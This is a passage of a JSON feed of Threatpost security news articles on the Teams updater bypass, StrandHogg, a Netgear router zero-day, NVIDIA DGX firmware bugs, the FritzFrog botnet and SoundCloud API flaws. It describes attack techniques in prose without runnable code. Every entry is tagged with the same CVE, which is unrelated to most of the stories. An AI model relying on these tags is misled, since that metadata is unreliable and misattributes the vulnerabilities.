"cvelist": ["CVE-2020-5135"], "modified": "2020-04-29T16:39:56", "id": "THREATPOST:C249ACD6B53EBF0A2F149F42F6D9873D", "href": "https://threatpost.com/critical-gitlab-flaw-bounty-20k/155295/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:44", "description": "COVID-19 has [spurred the use of videoconferencing](<https://threatpost.com/beyond-zoom-safe-slack-collaboration-apps/154446/>) for businesses worldwide \u2013 and this expanded threat surface has lured attackers like moths to a flame. Adding insult to injury, researchers have recently discovered a workaround for a previous patch issued for Microsoft Teams, that would allow a malicious actor to use the service\u2019s updater function to download any binary or malicious payload.\n\nEssentially, bad actors could hide in Microsoft Teams updater traffic, which has lately been voluminous.\n\n\u201cDue to the noisy nature of the [updater] traffic, there is a possibility that malicious traffic hiding there will evade the analyst\u2019s view or even be added to a list of allowed, and therefore unmonitored, list of applications,\u201d explained Reegun Jayapaul, researcher at Trustwave SpiderLabs, in [an analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/>) released on Wednesday.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile Microsoft tried to cut off this vector as a conduit for remote code execution by restricting the ability to update Teams via a URL, it was not a complete fix, the researcher explained.\n\n\u201cThe updater allows local connections via a share or local folder for product updates,\u201d Jayapaul said. \u201cInitially, when I observed this finding, I figured it could still be used as a technique for lateral movement, however, I found the limitations added could be easily bypassed by pointing to an\u2026SMB share.\u201d\n\nServer Message Block (SMB) protocol is a network file sharing protocol. To exploit this, an attacker would need to drop a malicious file into an open shared folder \u2013 something that typically involves already having network access. However, to reduce this gating factor, an attacker can create a remote rather than local share.\n\n\u201cThis would allow them to download the remote payload and execute rather than trying to get the payload to a local share as an intermediary step,\u201d Jayapaul said.\n\nTrustwave has published a proof-of-concept attack that uses Microsoft Teams Updater to download a payload \u2013 using known, common software [called Samba](<https://threatpost.com/samba-update-patches-two-smb-related-mitm-bugs/128090/>) to carry out remote downloading.\n\nFirst, the researcher configured a Samba server for remote, public access. Then, a payload that supports the updater framework must be crafted and uploaded to a remote Samba server that has been authenticated from the Windows \u201cRun\u201d function.\n\n\u201cAfter a successful setup, I initiated the command execution, downloaded remote payload and executed directly from Microsoft Teams Updater, \u2018Update.exe,'\u201d the researcher explained.\n\n\u201cSince the installation is in the local user Appdata folder, no privileged access is needed,\u201d he added. \u201cAttackers can use this to masquerade the traffic (especially for lateral movement).\u201d\n\nMicrosoft won\u2019t be fixing the problem because \u201cwe determined that this behavior is considered to be by design as we cannot restrict SMB source for \u2013update because we have customers that apparently rely on this (e.g. folder redirection),\u201d the company told Trustwave.\n\nTo avoid or mitigate an attack, users can implement solutions that look for suspicious connections both inbound and outbound; and IT can install Microsoft Teams under the \u201cProgram Files\u201d folder, so an attacker cannot drop and execute the remote payload, according to the researcher. \u201cThis can be carried out by Group policy,\u201d Jayapaul said.\n\nCompanies can also disable any kind of update mechanisms and set a policy that updates should be pushed only by the IT team, he added.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-05T15:47:04", "type": "threatpost", "title": "Microsoft Teams Patch Bypass Allows RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-05T15:47:04", "id": "THREATPOST:D819574E836325FD37CCA2E8B9E979A1", "href": "https://threatpost.com/microsoft-teams-patch-bypass-rce/158043/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:28:09", "description": "Researchers have discovered a new Android vulnerability that could allow malware to pose as popular apps and ask for various permissions, potentially allowing hackers to listen in on users, take photos, read and send SMS messages, and basically take over various functions as if they are the device\u2019s owner.\n\nSecurity researchers John H\u00f8egh-Omdal, Caner Kaya and Markus Ottensmann at Norwegian app-security provider [Promon](<https://promon.co/>) discovered the flaw\u2014which they dubbed \u201cStrandHogg\u201d from old Norse for the Viking tactic of plundering villages and holding people for ransom. They said attackers can use the vulnerability to allow \u201creal-life malware to pose as legitimate apps, with users unaware they are being targeted,\u201d according to a [blog post](<https://promon.co/security-news/strandhogg/>).\n\n\u201cThe attack can be designed to request permissions which would be natural for different targeted apps to request, in turn lowering suspicion from victims,\u201d researchers wrote. \u201cUsers are unaware that they are giving permission to the hacker and not the authentic app they believe they are using.\u201d[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIf the flaw is exploited, to users it appears that they are clicking on an app that they use every day, such as Facebook or Instagram. However, what happens when they click on the app is that instead of the app a user intended to open starting up, malware is deployed that can give permissions to the hacker, who is directed to the legitimate app, researchers said.\n\nThe flaw, which can be exploited by \u201creal-life malware,\u201d affects all Android devices, including those running Android 10, they said, as well as puts the top 500 most popular apps at risk.\n\nResearchers from Promon partner Lookout already have identified 36 malicious apps exploiting the vulnerability, which can be done without gaining root access to the device, according to the post. Among those apps were variants of the BankBot Trojan\u2014widespread malware that\u2019s been detected all over the world\u2013observed as early as 2017, researchers said.\n\nMoreover, the persistent problem of malware slipping under the radar on Google Play is what appears to be responsible for the spread of malicious code that exploits the flaw, researchers said. While the specific malware sample that Promon researchers analyzed did not reside on the app store, it was installed through several dropper apps/hostile downloaders distributed on Google Play, they said.\n\nWhile these apps have since been removed, dropper apps continue to be published in spite of protections that exist on the store, researchers said. In fact, some are being downloaded millions of times before being spotted and deleted, they said.\n\nIndeed, Google has [struggled mightily](<https://threatpost.com/malicious-app-tallies-100-million-downloads/147748/>) with malware [making its way onto Google Play](<https://threatpost.com/google-play-malicious-apps-racked-up-335m-installs-in-september/148810/>) under its watch and recently has taken [new steps](<https://threatpost.com/google-bad-android-apps/149981/>) to try to alleviate this problem. The discovery of StrandHogg appears to make the need for better security for Android mobile apps all that more urgent.\n\nIndeed, the existence of the vulnerability already being exploited in the wild certainly is troubling, as it means users already likely have been compromised and remain at critical risk, observed Sam Bakken, senior product marketing manager, for digital identity and anti-fraud solution provider [OneSpan](<https://www.onespan.com/>).\n\n\u201cAs you might imagine, criminals salivate over the monetization potential in stolen mobile banking credentials and access to one-time-passwords sent via SMS,\u201d he said in an e-mail to Threatpost. \u201cPromon\u2019s recent findings make the vulnerability as severe as it\u2019s ever been.\u201d\n\nThere is some good news in all of this, Bakken said. Security solutions do exist \u201cunder the umbrella of in-app protection\u201d that can protect devices from malware exploiting StrandHogg, including \u201capp shielding and runtime protection [that] make it easier for app developers to mitigate these windows of exposure resulting from security issues in both Android and iOS,\u201d he said.\n\n**[Free Threatpost Webinar:](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>)** _**Risk around third-party vendors is real and can lead to data disasters. We rely on third-party vendors, but that doesn\u2019t mean forfeiting security. [Join us on Dec. 18th at 2 pm EST](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>) as Threatpost looks at managing third-party relationship risks with industry experts Dr. Larry Ponemon, of Ponemon Institute; Harlan Carvey, with Digital Guardian and Flashpoint\u2019s Lance James. [Click here to register](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>).**_\n", "cvss3": {}, "published": "2019-12-03T13:26:14", "type": "threatpost", "title": "\u2018StrandHogg\u2019 Vulnerability Allows Malware to Pose as Legitimate Android Apps", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2019-12-03T13:26:14", "id": "THREATPOST:B9E2C282835BF652ABC49052C859DBCC", "href": "https://threatpost.com/strandhogg-vulnerability-allows-malware-to-pose-as-legitimate-android-apps/150750/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:23:48", "description": "UPDATED\n\nResearchers this week said they discovered an unpatched, zero-day vulnerability in firmware for [Netgear](<https://www.netgear.com/>) routers that put [79 device models](<https://www.bleepingcomputer.com/news/security/79-netgear-router-models-risk-full-takeover-due-to-unpatched-bug/>) at risk for full takeover, they said.\n\nNetgear has since issued several hot fixes, [available here](<https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders>).\n\nThe flaw, a memory-safety issue present in the firmware\u2019s httpd web server, allows attackers to bypass authentication on affected installations of Netgear routers, according to two separate reports: [One on the Zero Day Initiative](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) (ZDI) by a researcher called \u201cd4rkn3ss\u201d from the Vietnam Posts and Telecommunications Group; and a separate [blog post](<https://blog.grimm-co.com/2020/06/soho-device-exploitation.html>) by Adam Nichols of cybersecurity firm [Grimm](<https://blog.grimm-co.com/>).\n\n\u201cThe specific flaw exists within the httpd service, which listens on TCP Port 80 by default,\u201d according to the ZDI report, which covers the bug\u2019s presence in the R6700 series Netgear routers. \u201cThe issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, stack-based buffer.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAuthentication is not required to exploit the vulnerability, which attackers can use to gain root privileges, according to the report.\n\nZDI said it informed Netgear of the vulnerability in January. The vendor had asked for an extension until the end of June for public disclosure, which ZDI declined.\n\nFor his part, Nichols discovered the flaw initially in the Netgear R7000 router series, but eventually identified 79 different Netgear devices and 758 firmware images that included a vulnerable copy of the web server.\n\n\u201cThis vulnerability affects firmwares as early as 2007 (WGT624v4, version 2.0.6),\u201d he said in his post. \u201cGiven the large number of firmware images, manually finding the appropriate gadgets is infeasible. Rather, this is a good opportunity to automate gadget detection.\u201d\n\nNichols said that the problem lies in lack of support for a feature called [stack cookies](<https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries>), or stack canaries\u2014a reference to the use of a \u201ccanary in a coal mine\u201d\u2013which are used to detect a stack buffer overflow before execution of malicious code can occur, he explained. While some Netgear routers support this feature \u2013 namely, the D8500 firmware version 1.0.3.29 and the R6300v2 firmware versions 1.0.4.12-1.0.4.20 \u2013 most others do not, he said.\n\n\u201cLater versions of the D8500 and R6300v2 stopped using stack cookies, making this vulnerability once again exploitable,\u201d Nichols explained in the post. \u201cThis is just one more example of how SOHO device security has fallen behind as compared to other modern software.\u201d\n\nWeb servers in the firmware of SOHO devices in general are often the most vulnerable aspect of the system as they \u201cmust parse user input from the network and run complex CGI functions that use that input,\u201d he said.\n\n\u201cFurthermore, the web server is written in C and has had very little testing, and thus it is often vulnerable to trivial memory-corruption bugs,\u201d Nichols said.\n\n## **Exploitation**\n\nThe zero-day vulnerability can be exploited in two ways, Nichols explained in his post. One way to is to exploit the recv function used in the http parser in the web server through a series of steps that eventually lead to a stack-buffer overflow.\n\nAttackers also can use a cross-site request forgery (CSRF) attack to exploit the vulnerability, though he or she needs to know the model and version of the router they\u2019re targeting to pull this off successfully, he explained.\n\n\u201cIf a user with a vulnerable router browses to a malicious website, that website could exploit the user\u2019s router \u2026 by serving an HTML page which sends an AJAX request containing the exploit to the target device:\u201d Nichols said. \u201cHowever, as the CSRF web page cannot read any responses from the target server, it is not possible to remotely fingerprint the device.\u201d\n\nOne mitigation for the vulnerability is to restrict interaction with the service to trusted machines, according to the ZDI report.\n\n\u201cOnly the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it,\u201d according to the report. \u201cThis could be accomplished in a number of ways, most notably with firewall rules/whitelisting.\u201d\n\nIn March, [Netgear patched](<https://threatpost.com/critical-netgear-bug-impacts-nighthawk-router/153445/>) a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. It also addressed two high-severity bugs impacting Nighthawk routers, 21 medium-severity flaws and one rated low.\n\n_**This story was updated June 25, 2000 at 11:30 a.m. ET to include information on Netgear\u2019s hot fixes.**_\n\n**_Insider threats are different in the work-from home era. On _**[**_June 24 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_, join the Threatpost edit team and our special guest, Gurucul CEO Saryu Nayyer, for a FREE webinar, \u201c_**_**The Enemy Within: How Insider Threats Are Changing.\u201d **_**_Get helpful, real-world information on how insider threats are changing with WFH, what the new attack vectors are and what companies can do about it_**_**. **_[**_Please register here_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_ for this Threatpost webinar._**\n", "cvss3": {}, "published": "2020-06-19T13:05:37", "type": "threatpost", "title": "Netgear Zero-Day Allows Full Takeover of Dozens of Router Models", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-06-19T13:05:37", "id": "THREATPOST:DF35DF449CB3A8F93C405B227A00E117", "href": "https://threatpost.com/netgear-zero-day-takeover-routers/156744/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-29T23:46:43", "description": "NVIDIA released a patch for a critical bug in its high-performance line of DGX servers that could open the door for a remote attacker to take control of and access sensitive data on systems typically operated by governments and Fortune-100 companies.\n\nIn all, NVIDIA [issued nine patches](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>), each fixing flaws in firmware used by DGX high-performance computing (HPC) systems, which are used for processor-intensive artificial intelligence (AI) tasks, machine learning and data modeling. All of the flaws are tied to its own firmware that runs on its DGX AMI baseboard management controller (BMC), the brains behind a remote monitoring service servers.\n\n\u201cAttacks can be remote (in case of internet connectivity), or if bad guys can root one of the boxes and get access to the BMC they can use the out of band management network to PWN the entire datacenter,\u201d wrote researcher Sergey Gordeychik who is credited for finding the bugs. \u201cIf you have access to OOB, it is game is over for the target.\u201d \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nGiven the high-stake computing jobs typically running on the HPC systems, the researcher noted an adversary exploiting the flaw could \u201cpoison data and force models to make incorrect predictions or infect an AI model.\u201d\n\n## **No Patch Until 2021 for One Bug **\n\nNVIDIA said a patch fixing one high-severity bug (CVE\u20112020\u201111487), specifically impacting its DGX A100 server line, would not be available until the second quarter of 2021. The vulnerability is tied to a hard-coded RSA 1024 key with weak ciphers that could lead to information disclosure. A fix for the same bug (CVE\u20112020\u201111487), impacting other DGX systems (DGX-1, DGX-2) is available.\n\n\u201cTo mitigate the security concerns,\u201d NVIDIA wrote, \u201climit connectivity to the BMC, including the web user interface, to trusted management networks.\u201d\n\n## **Bugs Highlight Weaknesses in AI and ML Infrastructure**\n\n\u201cWe found a number of vulnerable servers online, which triggered our research,\u201d the researcher told Threatpost. The bugs were disclosed Wednesday and presented as part of a [presentation](<https://codeblue.jp/2020/en/speakers/?content=undefined>) \u201c[Vulnerabilities of Machine Learning Infrastructure](<https://codeblue.jp/2020/en/speakers/>)\u201d at [CodeBlue 2020](<https://codeblue.jp/2020/en/>), a security conference in Tokyo, Japan.\n\nDuring the session Gordeychik demonstrated how NVIDIA DGX GPU servers used in machine learning frameworks (Pytorch, Keras and Tensorflow), data processing pipelines and applications such as medical imaging and face recognition powered CCTV \u2013 could be tampered with by an adversary.\n\nThe researcher noted, other vendors are also likely impacted. \u201cInteresting thing here is the supply chain,\u201d he said. \u201cNVIDIA uses a BMC board by Quanta Computers, which is based on AMI software. So to fix issues [NVIDIA] had to push several vendors to get a fix.\u201d\n\nThose vendors include:\n\n * IBM (BMC Advanced System Management)\n * Lenovo (ThinkServer Management Module)\n * Hewlett-Packard Enterprise Megarac\n * Mikrobits (Mikrotik)\n * Netapp\n * ASRockRack IPMI\n * ASUS ASMB9-iKVM\n * DEPO Computers\n * TYAN Motherboard\n * Gigabyte IPMI Motherboards\n * Gooxi BMC\n\n## **Nine CVEs**\n\nAs for the actual patches issued by NVIDIA on Wednesday, the most serious is tracked as CVE\u20112020\u201111483 and is rated critical. \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which the firmware includes hard-coded credentials, which may lead to elevation of privileges or information disclosure,\u201d according to the security bulletin.\n\nVulnerable NVIDIA DGX server models impacted include DGX-1, DGX-2 and DGX A100.\n\nFour of the NVIDIA bugs were rated high-severity (CVE\u20112020\u201111484, CVE\u20112020\u201111487, CVE\u20112020\u201111485, CVE\u20112020\u201111486) with the most serious of the four tracked as [CVE\u20112020\u201111484](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>). \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which an attacker with administrative privileges can obtain the hash of the BMC/IPMI user password, which may lead to information disclosure,\u201d the chipmaker wrote.\n\nThree of the other patched vulnerabilities were rated medium severity and one low.\n\n\u201cHackers are well aware of AI and ML infrastructure issues and use ML infrastructure in attacks,\u201d Gordeychik said.\n\n**Hackers Put Bullseye on Healthcare: [On Nov. 18 at 2 p.m. EDT](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) find out why hospitals are getting hammered by ransomware attacks in 2020. [Save your spot for this FREE webinar](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this [LIVE](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>), limited-engagement webinar.**\n", "cvss3": {}, "published": "2020-10-29T23:15:17", "type": "threatpost", "title": "NVIDIA Patches Critical Bug in High-Performance Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-29T23:15:17", "id": "THREATPOST:AF18435BD7544B43152D5D3E8B97CE30", "href": "https://threatpost.com/nvidia-critical-bug-hpc/160762/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:21:31", "description": "A peer-to-peer (P2) botnet called FritzFrog has hopped onto the scene, and researchers said it has been actively breaching SSH servers since January.\n\nSSH servers are pieces of software found in routers and IoT devices, among other machines, and they use the secure shell protocol to accept connections from remote computers. SSH servers are common in enterprise and consumer environments alike.\n\nAccording to an analysis from Guardicore Labs, FritzFrog propagates as a worm, brute-forcing credentials at entities like governmental offices, educational institutions, medical centers, banks and telecom companies. FritzFrog has attempted to compromise tens of millions of machines so far, and has successfully breached more than 500 servers in total, Guardicore researcher Ophir Harpaz said. Victims include well-known universities in the U.S. and Europe, and a railway company; and the most-infected countries are China, South Korea and the U.S.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \n\u201cFritzFrog executes a worm malware which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine\u2019s disk,\u201d Harpaz explained, [in a posting](<https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/>) on Wednesday. Once the server is compromised, \u201cthe malware creates a backdoor in the form of an SSH public key, enabling the attackers ongoing access to victim machines.\u201d\n\nIt also can drop additional payloads, such as cryptominers.\n\n## **Swimming in a Unique Pond**\n\nFritzFrog is a P2P botnet, meaning that it has greater resiliency than other types of botnets because control is decentralized and spread among all nodes; as such, there\u2019s no single point-of-failure and no command-and-control server (C2).\n\n\u201cFritzFrog is completely proprietary; its P2P implementation was written from scratch, teaching us that the attackers are highly professional software developers,\u201d Harpaz said. She added, \u201cThe P2P protocol is completely proprietary, relying on no known P2P protocols such as \u03bcTP.\u201d\n\nAs far as the other technical details go, Guardicore analyzed the botnet by injecting its own nodes into the mix, giving researchers the ability to participate in the ongoing P2P traffic and see how it was built.\n\nThey discovered that almost everything about FritzFrog is unique when compared with past P2P botnets: Harpaz noted that it doesn\u2019t use IRC like IRCflu; it operates in-memory unlike another [cryptomining botnet, DDG](<https://threatpost.com/p2p-ddg-botnet-unstoppable/154650/>); and runs on Unix-based machines unlike others like the InterPlanetary Storm botnet.\n\nAdditionally, its fileless payload is unusual. Harpaz wrote that files are shared over the network to both infect new machines and run new malicious payloads on compromised ones \u2013 and that this is accomplished completely in-memory using blobs.\n\n\u201cWhen a node A wishes to receive a file from its peer, node B, it can query node B which blobs it owns using the command getblobstats,\u201d according to the researcher. \u201cThen, node A can get a specific blob by its hash, either by the P2P command getbin or over HTTP, with the URL http://:1234/. When node A has all the needed blobs \u2013 it assembles the file using a special module named Assemble and runs it.\u201d\n\nOne the malware is installed on a target by this method, it begins listening on port 1234, waiting for initial commands that will sync the victim with a database of network peers and brute-force targets. Once this initial syncing is finished, FritzFrog gets creative on the evasion-detection front when it comes to further communication from outside the botnet: \u201cInstead of sending commands directly over port 1234, the attacker connects to the victim over SSH and runs a netcat client on the victim\u2019s machine,\u201d according to the analysis. \u201cFrom this point on, any command sent over SSH will be used as netcat\u2019s input, thus transmitted to the malware.\u201d\n\nMeanwhile, the botnet constantly updates itself with databases of targets and breached machines as it worms through the internet.\n\n\u201cNodes in the FritzFrog network keep in close contact with each other,\u201d Harpaz noted. \u201cThey constantly ping each other to verify connectivity, exchange peers and targets and keep each other synced. The nodes participate in a clever vote-casting process, which appears to affect the distribution of brute-force targets across the network. Guardicore Labs observed that targets are evenly distributed, such that no two nodes in the network attempt to \u2018crack\u2019 the same target machine.\u201d\n\nFurther, it was built with an extensive dictionary of breached names and passwords for brute-forcing purposes, making it highly aggressive (\u201cBy comparison, DDG, a recently discovered P2P botnet, used only the username \u2018root,'\u201d said Harpaz).\n\nThe malware also spawns multiple threads to perform various tasks simultaneously. For instance, an IP address in the target queue will be fed to a Cracker module, which in turn will scan the machine attached to the IP address and try to brute-force it; a machine which was successfully breached is queued for malware infection by the DeployMgmt module; and a machine which was successfully infected will be added to the P2P network by the Owned module.\n\nIn the event of a reboot of the compromised system, the malware leaves a backdoor behind, whose login credentials are saved by the network peers.\n\n\u201cThe malware adds a public SSH-RSA key to the authorized_keys file,\u201d according to the research. \u201cThis simple backdoor allows the attackers \u2013 who own the secret private key \u2013 for passwordless authentication, in case the original password was modified.\u201d\n\nThe malware also monitors the file system state on infected machines, periodically checking for available RAM, uptime, SSH logins and CPU-usage statistics. Other nodes take this information and uses it to determine whether to run a cryptominer or not.\n\nIf it decides to run a cryptominer, the malware runs a separate process called \u201clibexec\u201d to mine the Monero cryptocurrency with an XMRig spinoff. Though this secondary infection is what the botnet has so far been used for, its architecture means that it could also install any other type of malware on infected nodes, should its authors decide to do so.\n\nIn all, FritzFrog is highly advanced, Harpaz said, but there\u2019s a simple way to ward off a compromise: \u201cWeak passwords are the immediate enabler of FritzFrog\u2019s attacks,\u201d she said. \u201cWe recommend choosing strong passwords and using public key authentication, which is much safer.\u201d\n\nAdmins should also remove FritzFrog\u2019s public key from the authorized_keys file, preventing the attackers from accessing the machine, she said. And, \u201crouters and IoT devices often expose SSH and are thus vulnerable to FritzFrog; consider changing their SSH port or completely disabling SSH access to them if the service is not in use.\u201d\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-19T20:46:31", "type": "threatpost", "title": "FritzFrog Botnet Attacks Millions of SSH Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-19T20:46:31", "id": "THREATPOST:639CADC540E81321048EB418C2EC7586", "href": "https://threatpost.com/fritzfrog-botnet-millions-ssh-servers/158489/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:30:31", "description": "Online music platform SoundCloud, which can be thought of as an audio-based YouTube for music creators, has addressed several security bugs in its APIs that could lead to denial-of-service (DoS) or account takeover via credential-stuffing.\n\nSoundCloud recently [sold a $75 million stake](<https://techcrunch.com/2020/02/11/music-streaming-pioneer-soundcloud-raises-75m-from-pandora-owner-siriusxm/>) to satellite radio giant SiriusXM and the two also inked a lucrative ad deal. SoundCloud claims to host 200 million different music tracks on its online platform.\n\nAccording to researcher Paulo Silva of Checkmarx Security Research, three different groups of security vulnerabilities were found in the platform: A authentication issue which could lead to account takeover; a rate-limiting bug that could lead to DoS; and an improper input validation.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe broken authentication issue has to do with not having a set number of login tries before locking someone out of the account \u2013 which opens the door to unlimited brute-force attacks from cybercriminals trying to guess passwords.\n\n\u201cThe /sign-in/password endpoint of api-v2.soundcloud.com does not implement proper account lockout based on failed authentication attempts,\u201d according to Silva, in [an analysis](<https://www.checkmarx.com/blog/checkmarx-research-soundcloud-api-security-advisory>) posted Tuesday. \u201cIt solely relies on rate limiting which can be evaded using several combinations of use_agent, device_id and signature.\u201d\n\nThat means that credential stuffing \u2014 the automated process of verifying that breached pairs of usernames and passwords work for not only the services that they originated from, but also other services \u2014 could have become a real issue. Digital Shadows [recently pointed out](<https://threatpost.com/password-breaches-fueling-booming-credential-stuffing-business/125900/>) that the market for credential stuffing software and services is thriving thanks in large part to an epidemic of breaches of usernames and passwords.\n\nCheckmarx also found a related user enumeration weakness that could be used to verify valid user account IDs as well, making it even easier to hack accounts. An attacker can exploit this to guess account names and then probe whether or not they actually exist.\n\n\u201cBoth /sign-in/identifier and /users/password_reset endpoints of api-v2.soundcloud.com can be used to enumerate user accounts,\u201d explained the firm. \u201cIn both cases, the endpoints provide different responses depending on whether the requested user account identifier exists or not.\u201d\n\nThe rate-limiting issue meanwhile has to do with SoundCloud not limiting how many song results can be retrieved in certain searchers.\n\nFor instance, the /me/play-history/tracks API endpoint, which allows users to view recently played songs, doesn\u2019t enforce rate limiting. Thus, an attacker can send a large number of POST requests from a single machine/IP address, or can use a high-volume GET request to return hundreds of tracks at once. This can not only potentially overwhelm the API if several of these are sent at the same time, but it could also be used to artificially inflate the statistics for demand for certain tracks or artists.\n\n\u201cThe lack of rate limiting may compromise the system availability, making it vulnerable to DoS attacks,\u201d according to Checkmarx. \u201cFrom a business perspective, not limiting the amount of requests to this endpoint may compromise the data integrity, since it may create biased tracks-statistics.\u201d\n\nA related issue has to do with the /tracks endpoint of api-v2.soundcloud.com, which Silva said does not implement proper resources limiting \u2013 also potentially leading to DoS.\n\n\u201cSince no validation is performed regarding the number of tracks IDs in the ids list, it is possible to manipulate the list to retrieve an arbitrary number of tracks in a single request,\u201d he said, adding that in testing, researchers were able to retrieve up to 689 tracks in a single request.\n\n\u201cUsing a specially crafted list of track IDs to maximize the response size, and issuing requests from several sources at the same time to deplete resources in the application layer, will make the target\u2019s system services unavailable,\u201d Silva explained.\n\nThe improper input validation issue meanwhile would allow the attacker to use extra-long character strings when filling in the description, title and genre forms while uploading songs, according to the research. An exploit could make use of this to carry out cross-site scripting attacks or SQL injection.\n\n\u201cThe /tracks/{track_urn} endpoint of api-v2.soundcloud.com does not properly validate and enforce the length of [these] properties,\u201d Silva explained. \u201cIssuing requests directly to the API server puts the attacker in control of an additional 61960 bytes (total of 66160 bytes).\u201d\n\nFor its part, SoundCloud promptly fixed the problem and sent out a statement: \u201cAt SoundCloud, the security of our users\u2019 accounts is extremely important to us. We are always looking for ways to enhance the security of our platform for our users. We appreciate Checkmarx reaching out to discuss their findings.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-12T18:48:59", "type": "threatpost", "title": "SoundCloud Tackles DoS, Account Takeover Issues", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-02-12T18:48:59", "id": "THREATPOST:4A02969D23A7147DEF39EFDE11D3094E", "href": "https://threatpost.com/soundcloud-dos-account-takeover/152838/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:07:48", "description": "A critical bug in the Hindotech HK1 TV Box would allow root-privilege escalation thanks to improper access control. A successful exploit would allow attackers to steal social-networking account tokens, Wi-Fi passwords, cookies, saved passwords, user-location data, message history, emails, contacts and more, researchers said.\n\nThe bug, which is awaiting a CVE assignment, comes in at 9.3 